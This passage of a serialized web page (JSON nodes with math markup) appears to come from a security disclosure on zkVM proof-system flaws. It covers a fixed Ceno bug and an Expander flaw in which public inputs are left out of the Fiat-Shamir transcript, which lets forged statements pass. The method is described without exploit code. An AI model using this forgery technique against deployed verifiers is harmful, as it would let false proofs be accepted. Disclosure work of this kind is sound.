9,"tag":168,"props":117921,"children":117923},{"className":117922,"style":1481},[1480],[],{"type":19,"tag":168,"props":117925,"children":117927},{"className":117926},[1486,1487,1488,1489],[117928],{"type":19,"tag":168,"props":117929,"children":117931},{"className":117930},[1439,1489],[117932],{"type":24,"value":1442},{"type":19,"tag":168,"props":117934,"children":117936},{"className":117935},[19200],[117937],{"type":24,"value":19203},{"type":19,"tag":168,"props":117939,"children":117941},{"className":117940},[1466],[117942],{"type":19,"tag":168,"props":117943,"children":117945},{"className":117944,"style":90618},[1471],[117946],{"type":19,"tag":168,"props":117947,"children":117948},{},[],{"type":19,"tag":168,"props":117950,"children":117952},{"className":117951},[19194],[117953],{"type":24,"value":524},{"type":24,"value":948},{"type":19,"tag":20,"props":117956,"children":117957},{},[117958,117960,118113],{"type":24,"value":117959},"We have two unknowns ",{"type":19,"tag":27,"props":117961,"children":117963},{"className":117962},[1411,1412],[117964],{"type":19,"tag":168,"props":117965,"children":117967},{"className":117966},[1417],[117968],{"type":19,"tag":168,"props":117969,"children":117971},{"className":117970,"ariaHidden":1423},[1422],[117972],{"type":19,"tag":168,"props":117973,"children":117975},{"className":117974},[1428],[117976,117980,117985,118042,118047,118051,118108],{"type":19,"tag":168,"props":117977,"children":117979},{"className":117978,"style":1541},[1433],[],{"type":19,"tag":168,"props":117981,"children":117983},{"className":117982},[19172],[117984],{"type":24,"value":500},{"type":19,"tag":168,"props":117986,"children":117988},{"className":117987},[1439],[117989,117994],{"type":19,"tag":168,"props":117990,"children":117992},{"className":117991},[1439,19043],[117993],{"type":24,"value":16729},{"type":19,"tag":168,"props":117995,"children":117997},{"className":117996},[1456],[117998],{"type":19,"tag":168,"props":117999,"children":118001},{"className":118000},[1461,19097],[118002,118031],{"type":19,"tag":168,"props":118003,"children":118005},{"className":118004},[1466],[118006,118026],{"type":19,"tag":168,"props":118007,"children":118009},{"className":118008,"style":90587},[1471],[118010],{"type":19,"tag":168,"props":118011,"children":118012},{"style":90591},[118013,118017],{"type":19,"tag":168,"props":118014,"children":118016},{"className":118015,"style":1481},[1480],[],{"type":19,"tag":168,"props":118018,"children":118020},{"className":118019},[1486,1487,1488,1489],[118021],{"type":19,"tag":168,"props":118022,"children":118024},{"className":118023},[1439,1489],[118025],{"type":24,"value":1452},{"type":19,"tag":168,"props":118027,"children":118029},{"className":118028},[19200],[118030],{"type":24,"value":19203},{"type":19,"tag":168,"props":118032,"children":118034},{"className":118033},[1466],[118035],{"type":19,"tag":168,"props":118036,"children":118038},{"className":118037,"style":90618},[1471],[118039],{"type":19,"tag":168,"props":118040,"children":118041},{},[],{"type":19,"tag":168,"props":118043,"children":118045},{"className":118044},[1552],[118046],{"type":24,"value":1555},{"type":19,"tag":168,"props":118048,"children":118050},{"className":118049,"style":1559},[1520],[],{"type":19,"tag":168,"props":118052,"children":118054},{"className":118053},[1439],[118055,118060],{"type":19,"tag":168,"props":118056,"children":118058},{"className":118057},[1439,19043],[118059],{"type":24,"value":16729},{"type":19,"tag":168,"props":118061,"children":118063},{"className":118062},[1456],[118064],{"type":19,"tag":168,"props":118065,"children":118067},{"className":118066},[1461,19097],[118068,118097],{"type":19,"tag":168,"props":118069,"children":118071},{"className":118070},[1466],[118072,118092],{"type":19,"tag":168,"props":118073,"children":118075},{"className":118074,"style":90587},[1471],[118076],{"type":19,"tag":168,"props":118077,"children":118078},{"style":90591},[118079,118083],{"type":19,"tag":168,"props":118080,"children":118082},{"className":118081,"style":1481},[1480],[],{"type":19,"tag":168,"props":118084,"children":118086},{"className":118085},[1486,1487,1488,1489],[118087],{"type":19,"tag":168,"props":118088,"children":118090},{"className":118089},[1439,1489],[118091],{"type":24,"value":1442},{"type":19,"tag":168,"props":118093,"children":118095},{"className":118094},[19200],[118096],{"type":24,"value":19203},{"type":19,"tag":168,"props":118098,"children":118100},{"className":118099},[1466],[118101],{"type":19,"tag":168,"props":118102,"children":118104},{"className":118103,"style":90618},[1471],[118105],{"type":19,"tag":168,"props":118106,"children":118107},{},[],{"type":19,"tag":168,"props":118109,"children":118111},{"className":118110},[19194],[118112],{"type":24,"value":524},{"type":24,"value":118114}," and two equations, one linear and one bilinear:",{"type":19,"tag":2869,"props":118116,"children":118117},{},[118118,118445],{"type":19,"tag":47,"props":118119,"children":118120},{},[118121,118123],{"type":24,"value":118122},"Linear (from GKR): ",{"type":19,"tag":27,"props":118124,"children":118126},{"className":118125},[1411,1412],[118127],{"type":19,"tag":168,"props":118128,"children":118130},{"className":118129},[1417],[118131],{"type":19,"tag":168,"props":118132,"children":118134},{"className":118133,"ariaHidden":1423},[1422],[118135,118271,118406,118432],{"type":19,"tag":168,"props":118136,"children":118138},{"className":118137},[1428],[118139,118144,118201,118258,118262,118267],{"type":19,"tag":168,"props":118140,"children":118143},{"className":118141,"style":118142},[1433],"height:0.7333em;vertical-align:-0.15em;",[],{"type":19,"tag":168,"props":118145,"children":118147},{"className":118146},[1439],[118148,118153],{"type":19,"tag":168,"props":118149,"children":118151},{"className":118150},[1439,19043],[118152],{"type":24,"value":269},{"type":19,"tag":168,"props":118154,"children":118156},{"className":118155},[1456],[118157],{"type":19,"tag":168,"props":118158,"children":118160},{"className":118159},[1461,19097],[118161,118190],{"type":19,"tag":168,"props":118162,"children":118164},{"className":118163},[1466],[118165,118185],{"type":19,"tag":168,"props":118166,"children":118168},{"className":118167,"style":90587},[1471],[118169],{"type":19,"tag":168,"props":118170,"children":118171},{"style":90591},[118172,118176],{"type":19,"tag":168,"props":118173,"children":118175},{"className":118174,"style":1481},[1480],[],{"type":19,"tag":168,"props":118177,"children":118179},{"className":118178},[1486,1487,1488,1489],[118180],{"type":19,"tag":168,"props":118181,"children":118183},{"className":118182},[1439,1489],[118184],{"type":24,"value":1452},{"type":19,"tag":168,"props":118186,"children":118188},{"className":118187},[19200],[118189],{"type":24,"value":19203},{"type":19,"tag":168,"props":118191,"children":118193},{"className":118192},[1466],[118194],{"type":19,"tag":168,"props":118195,"children":118197},{"className":118196,"style":90618},[1471],[118198],{"type":19,"tag":168,"props":118199,"children":118200},{},[],{"type":19,"tag":168,"props":118202,"children":118204},{"className":118203},[1439],[118205,118210],{"type":19,"tag":168,"props":118206,"children":118208},{"className":118207},[1439,19043],[118209],{"type":24,"value":16729},{"type":19,"tag":168,"props":118211,"children":118213},{"className":118212},[1456],[118214],{"type":19,"tag":168,"props":118215,"children":118217},{"className":118216},[1461,19097],[118218,118247],{"type":19,"tag":168,"props":118219,"children":118221},{"className":118220},[1466],[118222,118242],{"type":19,"tag":168,"props":118223,"children":118225},{"className":118224,"style":90587},[1471],[118226],{"type":19,"tag":168,"props":118227,"children":118228},{"style":90591},[118229,118233],{"type":19,"tag":168,"props":118230,"children":118232},{"className":118231,"style":1481},[1480],[],{"type":19,"tag":168,"props":118234,"children":118236},{"className":118235},[1486,1487,1488,1489],[118237],{"type":19,"tag":168,"props":118238,"children":118240},{"className":118239},[1439,1489],[118241],{"type":24,"value":1452},{"type":19,"tag":168,"props":118243,"children":118245},{"className":118244},[19200],[118246],{"type":24,"value":19203},{"type":19,"tag":168,"props":118248,"children":118250},{"className":118249},[1466],[118251],{"type":19,"tag":168,"props":118252,"children":118254},{"className":118253,"style":90618},[1471],[118255],{"type":19,"tag":168,"props":118256,"children":118257},{},[],{"type":19,"tag":168,"props":118259,"children":118261},{"className":118260,"style":1521},[1520],[],{"type":19,"tag":168,"props":118263,"children":118265},{"className":118264},[1526],[118266],{"type":24,"value":1811},{"type":19,"tag":168,"props":118268,"children":118270},{"className":118269,"style":1521},[1520],[],{"type":19,"tag":168,"props":118272,"children":118274},{"className":118273},[1428],[118275,118279,118336,118393,118397,118402],{"type":19,"tag":168,"props":118276,"children":118278},{"className":118277,"style":118142},[1433],[],{"type":19,"tag":168,"props":118280,"children":118282},{"className":118281},[1439],[118283,118288],{"type":19,"tag":168,"props":118284,"children":118286},{"className":118285},[1439,19043],[118287],{"type":24,"value":269},{"type":19,"tag":168,"props":118289,"children":118291},{"className":118290},[1456],[118292],{"type":19,"tag":168,"props":118293,"children":118295},{"className":118294},[1461,19097],[118296,118325],{"type":19,"tag":168,"props":118297,"children":118299},{"className":118298},[1466],[118300,118320],{"type":19,"tag":168,"props":118301,"children":118303},{"className":118302,"style":90587},[1471],[118304],{"type":19,"tag":168,"props":118305,"children":118306},{"style":90591},[118307,118311],{"type":19,"tag":168,"props":118308,"children":118310},{"className":118309,"style":1481},[1480],[],{"type":19,"tag":168,"props":118312,"children":118314},{"className":118313},[1486,1487,1488,1489],[118315],{"type":19,"tag":168,"props":118316,"children":118318},{"className":118317},[1439,1489],[118319],{"type":24,"value":1442},{"type":19,"tag":168,"props":118321,"children":118323},{"className":118322},[19200],[118324],{"type":24,"value":19203},{"type":19,"tag":168,"props":118326,"children":118328},{"className":118327},[1466],[118329],{"type":19,"tag":168,"props":118330,"children":118332},{"className":118331,"style":90618},[1471],[118333],{"type":19,"tag":168,"props":118334,"children":118335},{},[],{"type":19,"tag":168,"props":118337,"children":118339},{"className":118338},[1439],[118340,118345],{"type":19,"tag":168,"props":118341,"children":118343},{"className":118342},[1439,19043],[118344],{"type":24,"value":16729},{"type":19,"tag":168,"props":118346,"children":118348},{"className":118347},[1456],[118349],{"type":19,"tag":168,"props":118350,"children":118352},{"className":118351},[1461,19097],[118353,118382],{"type":19,"tag":168,"props":118354,"children":118356},{"className":118355},[1466],[118357,118377],{"type":19,"tag":168,"props":118358,"children":118360},{"className":118359,"style":90587},[1471],[118361],{"type":19,"tag":168,"props":118362,"children":118363},{"style":90591},[118364,118368],{"type":19,"tag":168,"props":118365,"children":118367},{"className":118366,"style":1481},[1480],[],{"type":19,"tag":168,"props":118369,"children":118371},{"className":118370},[1486,1487,1488,1489],[118372],{"type":19,"tag":168,"props":118373,"children":118375},{"className":118374},[1439,1489],[118376],{"type":24,"value":1442},{"type":19,"tag":168,"props":118378,"children":118380},{"className":118379},[19200],[118381],{"type":24,"value":19203},{"type":19,"tag":168,"props":118383,"children":118385},{"className":118384},[1466],[118386],{"type":19,"tag":168,"props":118387,"children":118389},{"className":118388,"style":90618},[1471],[118390],{"type":19,"tag":168,"props":118391,"children":118392},{},[],{"type":19,"tag":168,"props":118394,"children":118396},{"className":118395,"style":1521},[1520],[],{"type":19,"tag":168,"props":118398,"children":118400},{"className":118399},[1526],[118401],{"type":24,"value":1811},{"type":19,"tag":168,"props":118403,"children":118405},{"className":118404,"style":1521},[1520],[],{"type":19,"tag":168,"props":118407,"children":118409},{"className":118408},[1428],[118410,118414,118419,118423,118428],{"type":19,"tag":168,"props":118411,"children":118413},{"className":118412,"style":108375},[1433],[],{"type":19,"tag":168,"props":118415,"children":118417},{"className":118416},[1439,19043],[118418],{"type":24,"value":543},{"type":19,"tag":168,"props":118420,"children":118422},{"className":118421,"style":1618},[1520],[],{"type":19,"tag":168,"props":118424,"children":118426},{"className":118425},[1623],[118427],{"type":24,"value":486},{"type":19,"tag":168,"props":118429,"children":118431},{"className":118430,"style":1618},[1520],[],{"type":19,"tag":168,"props":118433,"children":118435},{"className":118434},[1428],[118436,118440],{"type":19,"tag":168,"props":118437,"children":118439},{"className":118438,"style":91566},[1433],[],{"type":19,"tag":168,"props":118441,"children":118443},{"className":118442},[1439],[118444],{"type":24,"value":1452},{"type":19,"tag":47,"props":118446,"children":118447},{},[118448,118450],{"type":24,"value":118449},"Bilinear (from multiset): ",{"type":19,"tag":27,"props":118451,"children":118453},{"className":118452},[1411,1412],[118454],{"type":19,"tag":168,"props":118455,"children":118457},{"className":118456},[1417],[118458],{"type":19,"tag":168,"props":118459,"children":118461},{"className":118460,"ariaHidden":1423},[1422],[118462,118488,118566,118644,118670],{"type":19,"tag":168,"props":118463,"children":118465},{"className":118464},[1428],[118466,118470,118475,118479,118484],{"type":19,"tag":168,"props":118467,"children":118469},{"className":118468,"style":90450},[1433],[],{"type":19,"tag":168,"props":118471,"children":118473},{"className":118472,"style":91964},[1439,19043],[118474],{"type":24,"value":86173},{"type":19,"tag":168,"props":118476,"children":118478},{"className":118477,"style":1521},[1520],[],{"type":19,"tag":168,"props":118480,"children":118482},{"className":118481},[1526],[118483],{"type":24,"value":108796},{"type":19,"tag":168,"props":118485,"children":118487},{"className":118486,"style":1521},[1520],[],{"type":19,"tag":168,"props":118489,"children":118491},{"className":118490},[1428],[118492,118496,118553,118557,118562],{"type":19,"tag":168,"props":118493,"children":118495},{"className":118494,"style":117588},[1433],[],{"type":19,"tag":168,"props":118497,"children":118499},{"className":118498},[1439],[118500,118505],{"type":19,"tag":168,"props":118501,"children":118503},{"className":118502},[1439,19043],[118504],{"type":24,"value":16729},{"type":19,"tag":168,"props":118506,"children":118508},{"className":118507},[1456],[118509],{"type":19,"tag":168,"props":118510,"children":118512},{"className":118511},[1461,19097],[118513,118542],{"type":19,"tag":168,"props":118514,"children":118516},{"className":118515},[1466],[118517,118537],{"type":19,"tag":168,"props":118518,"children":118520},{"className":118519,"style":90587},[1471],[118521],{"type":19,"tag":168,"props":118522,"children":118523},{"style":90591},[118524,118528],{"type":19,"tag":168,"props":118525,"children":118527},{"className":118526,"style":1481},[1480],[],{"type":19,"tag":168,"props":118529,"children":118531},{"className":118530},[1486,1487,1488,1489],[118532],{"type":19,"tag":168,"props":118533,"children":118535},{"className":118534},[1439,1489],[118536],{"type":24,"value":1452},{"type":19,"tag":168,"props":118538,"children":118540},{"className":118539},[19200],[118541],{"type":24,"value":19203},{"type":19,"tag":168,"props":118543,"children":118545},{"className":118544},[1466],[118546],{"type":19,"tag":168,"props":118547,"children":118549},{"className":118548,"style":90618},[1471],[118550],{"type":19,"tag":168,"props":118551,"children":118552},{},[],{"type":19,"tag":168,"props":118554,"children":118556},{"className":118555,"style":1521},[1520],[],{"type":19,"tag":168,"props":118558,"children":118560},{"className":118559},[1526],[118561],{"type":24,"value":108796},{"type":19,"tag":168,"props":118563,"children":118565},{"className":118564,"style":1521},[1520],[],{"type":19,"tag":168,"props":118567,"children":118569},{"className":118568},[1428],[118570,118574,118631,118635,118640],{"type":19,"tag":168,"props":118571,"children":118573},{"className":118572,"style":118142},[1433],[],{"type":19,"tag":168,"props":118575,"children":118577},{"className":118576},[1439],[118578,118583],{"type":19,"tag":168,"props":118579,"children":118581},{"className":118580},[1439,19043],[118582],{"type":24,"value":16729},{"type":19,"tag":168,"props":118584,"children":118586},{"className":118585},[1456],[118587],{"type":19,"tag":168,"props":118588,"children":118590},{"className":118589},[1461,19097],[118591,118620],{"type":19,"tag":168,"props":118592,"children":118594},{"className":118593},[1466],[118595,118615],{"type":19,"tag":168,"props":118596,"children":118598},{"className":118597,"style":90587},[1471],[118599],{"type":19,"tag":168,"props":118600,"children":118601},{"style":90591},[118602,118606],{"type":19,"tag":168,"props":118603,"children":118605},{"className":118604,"style":1481},[1480],[],{"type":19,"tag":168,"props":118607,"children":118609},{"className":118608},[1486,1487,1488,1489],[118610],{"type":19,"tag":168,"props":118611,"children":118613},{"className":118612},[1439,1489],[118614],{"type":24,"value":1442},{"type":19,"tag":168,"props":118616,"children":118618},{"className":118617},[19200],[118619],{"type":24,"value":19203},{"type":19,"tag":168,"props":118621,"children":118623},{"className":118622},[1466],[118624],{"type":19,"tag":168,"props":118625,"children":118627},{"className":118626,"style":90618},[1471],[118628],{"type":19,"tag":168,"props":118629,"children":118630},{},[],{"type":19,"tag":168,"props":118632,"children":118634},{"className":118633,"style":1521},[1520],[],{"type":19,"tag":168,"props":118636,"children":118638},{"className":118637},[1526],[118639],{"type":24,"value":1811},{"type":19,"tag":168,"props":118641,"children":118643},{"className":118642,"style":1521},[1520],[],{"type":19,"tag":168,"props":118645,"children":118647},{"className":118646},[1428],[118648,118652,118657,118661,118666],{"type":19,"tag":168,"props":118649,"children":118651},{"className":118650,"style":90450},[1433],[],{"type":19,"tag":168,"props":118653,"children":118655},{"className":118654},[1439,19043],[118656],{"type":24,"value":68051},{"type":19,"tag":168,"props":118658,"children":118660},{"className":118659,"style":1618},[1520],[],{"type":19,"tag":168,"props":118662,"children":118664},{"className":118663},[1623],[118665],{"type":24,"value":486},{"type":19,"tag":168,"props":118667,"children":118669},{"className":118668,"style":1618},[1520],[],{"type":19,"tag":168,"props":118671,"children":118673},{"className":118672},[1428],[118674,118678],{"type":19,"tag":168,"props":118675,"children":118677},{"className":118676,"style":91566},[1433],[],{"type":19,"tag":168,"props":118679,"children":118681},{"className":118680},[1439],[118682],{"type":24,"value":1452},{"type":19,"tag":20,"props":118684,"children":118685},{},[118686],{"type":24,"value":118687},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":19,"tag":20,"props":118689,"children":118690},{},[118691,118695,118697,118704,118706,118713],{"type":19,"tag":51,"props":118692,"children":118693},{},[118694],{"type":24,"value":114244},{"type":24,"value":118696}," Fixed on March 5, 2026 via ",{"type":19,"tag":269,"props":118698,"children":118701},{"href":118699,"rel":118700},"https://github.com/scroll-tech/ceno/pull/1262",[273],[118702],{"type":24,"value":118703},"PR #1262",{"type":24,"value":118705}," (original report: ",{"type":19,"tag":269,"props":118707,"children":118710},{"href":118708,"rel":118709},"https://github.com/scroll-tech/ceno/issues/1125",[273],[118711],{"type":24,"value":118712},"#1125",{"type":24,"value":524},{"type":19,"tag":16245,"props":118715,"children":118716},{},[],{"type":19,"tag":7050,"props":118718,"children":118720},{"id":118719},"expander-polyhedra",[118721],{"type":24,"value":118722},"Expander (Polyhedra)",{"type":19,"tag":20,"props":118724,"children":118725},{},[118726],{"type":24,"value":118727},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":19,"tag":20,"props":118729,"children":118730},{},[118731],{"type":19,"tag":51,"props":118732,"children":118733},{},[118734],{"type":24,"value":112950},{"type":19,"tag":158,"props":118736,"children":118738},{"code":118737},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[118739],{"type":19,"tag":27,"props":118740,"children":118741},{"__ignoreMap":7},[118742],{"type":24,"value":118737},{"type":19,"tag":20,"props":118744,"children":118745},{},[118746,118748,118754],{"type":24,"value":118747},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":19,"tag":27,"props":118749,"children":118751},{"className":118750},[],[118752],{"type":24,"value":118753},"eval_cst",{"type":24,"value":118755}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":19,"tag":158,"props":118757,"children":118759},{"code":118758,"language":362,"meta":7,"className":363,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[118760],{"type":19,"tag":27,"props":118761,"children":118762},{"__ignoreMap":7},[118763],{"type":19,"tag":168,"props":118764,"children":118765},{"class":170,"line":171},[118766,118770,118775,118780,118784,118788,118792,118796,118801,118805,118810,118815,118819,118824],{"type":19,"tag":168,"props":118767,"children":118768},{"style":393},[118769],{"type":24,"value":74121},{"type":19,"tag":168,"props":118771,"children":118772},{"style":399},[118773],{"type":24,"value":118774}," -=",{"type":19,"tag":168,"props":118776,"children":118777},{"style":825},[118778],{"type":24,"value":118779}," GKRVerifierHelper",{"type":19,"tag":168,"props":118781,"children":118782},{"style":399},[118783],{"type":24,"value":888},{"type":19,"tag":168,"props":118785,"children":118786},{"style":175},[118787],{"type":24,"value":118753},{"type":19,"tag":168,"props":118789,"children":118790},{"style":212},[118791],{"type":24,"value":500},{"type":19,"tag":168,"props":118793,"children":118794},{"style":399},[118795],{"type":24,"value":505},{"type":19,"tag":168,"props":118797,"children":118798},{"style":393},[118799],{"type":24,"value":118800},"layer",{"type":19,"tag":168,"props":118802,"children":118803},{"style":399},[118804],{"type":24,"value":948},{"type":19,"tag":168,"props":118806,"children":118807},{"style":212},[118808],{"type":24,"value":118809},"const_, ",{"type":19,"tag":168,"props":118811,"children":118812},{"style":393},[118813],{"type":24,"value":118814},"public_input",{"type":19,"tag":168,"props":118816,"children":118817},{"style":212},[118818],{"type":24,"value":471},{"type":19,"tag":168,"props":118820,"children":118821},{"style":393},[118822],{"type":24,"value":118823},"sp",{"type":19,"tag":168,"props":118825,"children":118826},{"style":212},[118827],{"type":24,"value":1249},{"type":19,"tag":20,"props":118829,"children":118830},{},[118831,118833,118838],{"type":24,"value":118832},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":19,"tag":27,"props":118834,"children":118836},{"className":118835},[],[118837],{"type":24,"value":118823},{"type":24,"value":18197},{"type":19,"tag":20,"props":118840,"children":118841},{},[118842],{"type":19,"tag":51,"props":118843,"children":118844},{},[118845],{"type":24,"value":118846},"The vulnerability:",{"type":19,"tag":20,"props":118848,"children":118849},{},[118850,118855],{"type":19,"tag":27,"props":118851,"children":118853},{"className":118852},[],[118854],{"type":24,"value":118814},{"type":24,"value":118856}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":19,"tag":20,"props":118858,"children":118859},{},[118860],{"type":19,"tag":1344,"props":118861,"children":118864},{"alt":118862,"src":118863},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":19,"tag":20,"props":118866,"children":118867},{},[118868,118869,118874],{"type":24,"value":14062},{"type":19,"tag":27,"props":118870,"children":118872},{"className":118871},[],[118873],{"type":24,"value":118753},{"type":24,"value":118875}," function computes a linear combination:",{"type":19,"tag":20,"props":118877,"children":118878},{},[118879],{"type":19,"tag":27,"props":118880,"children":118882},{"className":118881},[1411,1412],[118883],{"type":19,"tag":168,"props":118884,"children":118886},{"className":118885},[1417],[118887],{"type":19,"tag":168,"props":118888,"children":118890},{"className":118889,"ariaHidden":1423},[1422],[118891,118936,119060],{"type":19,"tag":168,"props":118892,"children":118894},{"className":118893},[1428],[118895,118899,118908,118913,118923,118927,118932],{"type":19,"tag":168,"props":118896,"children":118898},{"className":118897,"style":91948},[1433],[],{"type":19,"tag":168,"props":118900,"children":118902},{"className":118901},[1439,24],[118903],{"type":19,"tag":168,"props":118904,"children":118906},{"className":118905},[1439],[118907],{"type":24,"value":35023},{"type":19,"tag":168,"props":118909,"children":118911},{"className":118910,"style":90535},[1439],[118912],{"type":24,"value":476},{"type":19,"tag":168,"props":118914,"children":118916},{"className":118915},[1439,24],[118917],{"type":19,"tag":168,"props":118918,"children":118920},{"className":118919},[1439],[118921],{"type":24,"value":118922},"cst",{"type":19,"tag":168,"props":118924,"children":118926},{"className":118925,"style":1618},[1520],[],{"type":19,"tag":168,"props":118928,"children":118930},{"className":118929},[1623],[118931],{"type":24,"value":486},{"type":19,"tag":168,"props":118933,"children":118935},{"className":118934,"style":1618},[1520],[],{"type":19,"tag":168,"props":118937,"children":118939},{"className":118938},[1428],[118940,118944,119001,119005,119032,119037,119042,119047,119051,119056],{"type":19,"tag":168,"props":118941,"children":118943},{"className":118942,"style":90477},[1433],[],{"type":19,"tag":168,"props":118945,"children":118947},{"className":118946},[19079],[118948,118953],{"type":19,"tag":168,"props":118949,"children":118951},{"className":118950,"style":19086},[19079,19084,19085],[118952],{"type":24,"value":106329},{"type":19,"tag":168,"props":118954,"children":118956},{"className":118955},[1456],[118957],{"type":19,"tag":168,"props":118958,"children":118960},{"className":118959},[1461,19097],[118961,118990],{"type":19,"tag":168,"props":118962,"children":118964},{"className":118963},[1466],[118965,118985],{"type":19,"tag":168,"props":118966,"children":118968},{"className":118967,"style":111741},[1471],[118969],{"type":19,"tag":168,"props":118970,"children":118971},{"style":19110},[118972,118976],{"type":19,"tag":168,"props":118973,"children":118975},{"className":118974,"style":1481},[1480],[],{"type":19,"tag":168,"props":118977,"children":118979},{"className":118978},[1486,1487,1488,1489],[118980],{"type":19,"tag":168,"props":118981,"children":118983},{"className":118982},[1439,19043,1489],[118984],{"type":24,"value":1157},{"type":19,"tag":168,"props":118986,"children":118988},{"className":118987},[19200],[118989],{"type":24,"value":19203},{"type":19,"tag":168,"props":118991,"children":118993},{"className":118992},[1466],[118994],{"type":19,"tag":168,"props":118995,"children":118997},{"className":118996,"style":112021},[1471],[118998],{"type":19,"tag":168,"props":118999,"children":119000},{},[],{"type":19,"tag":168,"props":119002,"children":119004},{"className":119003,"style":1559},[1520],[],{"type":19,"tag":168,"props":119006,"children":119008},{"className":119007},[1439],[119009,119018,119023],{"type":19,"tag":168,"props":119010,"children":119012},{"className":119011},[1439,24],[119013],{"type":19,"tag":168,"props":119014,"children":119016},{"className":119015},[1439],[119017],{"type":24,"value":59160},{"type":19,"tag":168,"props":119019,"children":119021},{"className":119020,"style":90535},[1439],[119022],{"type":24,"value":476},{"type":19,"tag":168,"props":119024,"children":119026},{"className":119025},[1439,24],[119027],{"type":19,"tag":168,"props":119028,"children":119030},{"className":119029},[1439],[119031],{"type":24,"value":5804},{"type":19,"tag":168,"props":119033,"children":119035},{"className":119034},[19172],[119036],{"type":24,"value":1152},{"type":19,"tag":168,"props":119038,"children":119040},{"className":119039},[1439,19043],[119041],{"type":24,"value":1157},{"type":19,"tag":168,"props":119043,"children":119045},{"className":119044},[19194],[119046],{"type":24,"value":12858},{"type":19,"tag":168,"props":119048,"children":119050},{"className":119049,"style":1521},[1520],[],{"type":19,"tag":168,"props":119052,"children":119054},{"className":119053},[1526],[119055],{"type":24,"value":108796},{"type":19,"tag":168,"props":119057,"children":119059},{"className":119058,"style":1521},[1520],[],{"type":19,"tag":168,"props":119061,"children":119063},{"className":119062},[1428],[119064,119068,119077,119082,119087,119092,119096,119145],{"type":19,"tag":168,"props":119065,"children":119067},{"className":119066,"style":1541},[1433],[],{"type":19,"tag":168,"props":119069,"children":119071},{"className":119070},[1439,24],[119072],{"type":19,"tag":168,"props":119073,"children":119075},{"className":119074},[1439],[119076],{"type":24,"value":110123},{"type":19,"tag":168,"props":119078,"children":119080},{"className":119079},[19172],[119081],{"type":24,"value":500},{"type":19,"tag":168,"props":119083,"children":119085},{"className":119084},[1439,19043],[119086],{"type":24,"value":1157},{"type":19,"tag":168,"props":119088,"children":119090},{"className":119089},[1552],[119091],{"type":24,"value":1555},{"type":19,"tag":168,"props":119093,"children":119095},{"className":119094,"style":1559},[1520],[],{"type":19,"tag":168,"props":119097,"children":119099},{"className":119098},[1439,109683],[119100],{"type":19,"tag":168,"props":119101,"children":119103},{"className":119102},[1461],[119104],{"type":19,"tag":168,"props":119105,"children":119107},{"className":119106},[1466],[119108],{"type":19,"tag":168,"props":119109,"children":119111},{"className":119110,"style":109769},[1471],[119112,119124],{"type":19,"tag":168,"props":119113,"children":119114},{"style":109700},[119115,119119],{"type":19,"tag":168,"props":119116,"children":119118},{"className":119117,"style":109705},[1480],[],{"type":19,"tag":168,"props":119120,"children":119122},{"className":119121,"style":90535},[1439,19043],[119123],{"type":24,"value":91354},{"type":19,"tag":168,"props":119125,"children":119126},{"style":109700},[119127,119131],{"type":19,"tag":168,"props":119128,"children":119130},{"className":119129,"style":109705},[1480],[],{"type":19,"tag":168,"props":119132,"children":119134},{"className":119133,"style":109793},[109723],[119135],{"type":19,"tag":168,"props":119136,"children":119138},{"className":119137,"style":109799},[109798],[119139],{"type":19,"tag":31747,"props":119140,"children":119141},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[119142],{"type":19,"tag":109811,"props":119143,"children":119144},{"d":109813},[],{"type":19,"tag":168,"props":119146,"children":119148},{"className":119147},[19194],[119149],{"type":24,"value":524},{"type":19,"tag":20,"props":119151,"children":119152},{},[119153,119154,119223,119225,119230,119232,119237],{"type":24,"value":113370},{"type":19,"tag":27,"props":119155,"children":119157},{"className":119156},[1411,1412],[119158],{"type":19,"tag":168,"props":119159,"children":119161},{"className":119160},[1417],[119162],{"type":19,"tag":168,"props":119163,"children":119165},{"className":119164,"ariaHidden":1423},[1422],[119166],{"type":19,"tag":168,"props":119167,"children":119169},{"className":119168},[1428],[119170,119174],{"type":19,"tag":168,"props":119171,"children":119173},{"className":119172,"style":109769},[1433],[],{"type":19,"tag":168,"props":119175,"children":119177},{"className":119176},[1439,109683],[119178],{"type":19,"tag":168,"props":119179,"children":119181},{"className":119180},[1461],[119182],{"type":19,"tag":168,"props":119183,"children":119185},{"className":119184},[1466],[119186],{"type":19,"tag":168,"props":119187,"children":119189},{"className":119188,"style":109769},[1471],[119190,119202],{"type":19,"tag":168,"props":119191,"children":119192},{"style":109700},[119193,119197],{"type":19,"tag":168,"props":119194,"children":119196},{"className":119195,"style":109705},[1480],[],{"type":19,"tag":168,"props":119198,"children":119200},{"className":119199,"style":90535},[1439,19043],[119201],{"type":24,"value":91354},{"type":19,"tag":168,"props":119203,"children":119204},{"style":109700},[119205,119209],{"type":19,"tag":168,"props":119206,"children":119208},{"className":119207,"style":109705},[1480],[],{"type":19,"tag":168,"props":119210,"children":119212},{"className":119211,"style":109793},[109723],[119213],{"type":19,"tag":168,"props":119214,"children":119216},{"className":119215,"style":109799},[109798],[119217],{"type":19,"tag":31747,"props":119218,"children":119219},{"xmlns":109803,"width":109804,"height":109805,"style":109806,"viewBox":109807,"preserveAspectRatio":109808},[119220],{"type":19,"tag":109811,"props":119221,"children":119222},{"d":109813},[],{"type":24,"value":119224}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":19,"tag":27,"props":119226,"children":119228},{"className":119227},[],[119229],{"type":24,"value":118814},{"type":24,"value":119231},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":19,"tag":27,"props":119233,"children":119235},{"className":119234},[],[119236],{"type":24,"value":118814},{"type":24,"value":119238}," that makes the verifier's check 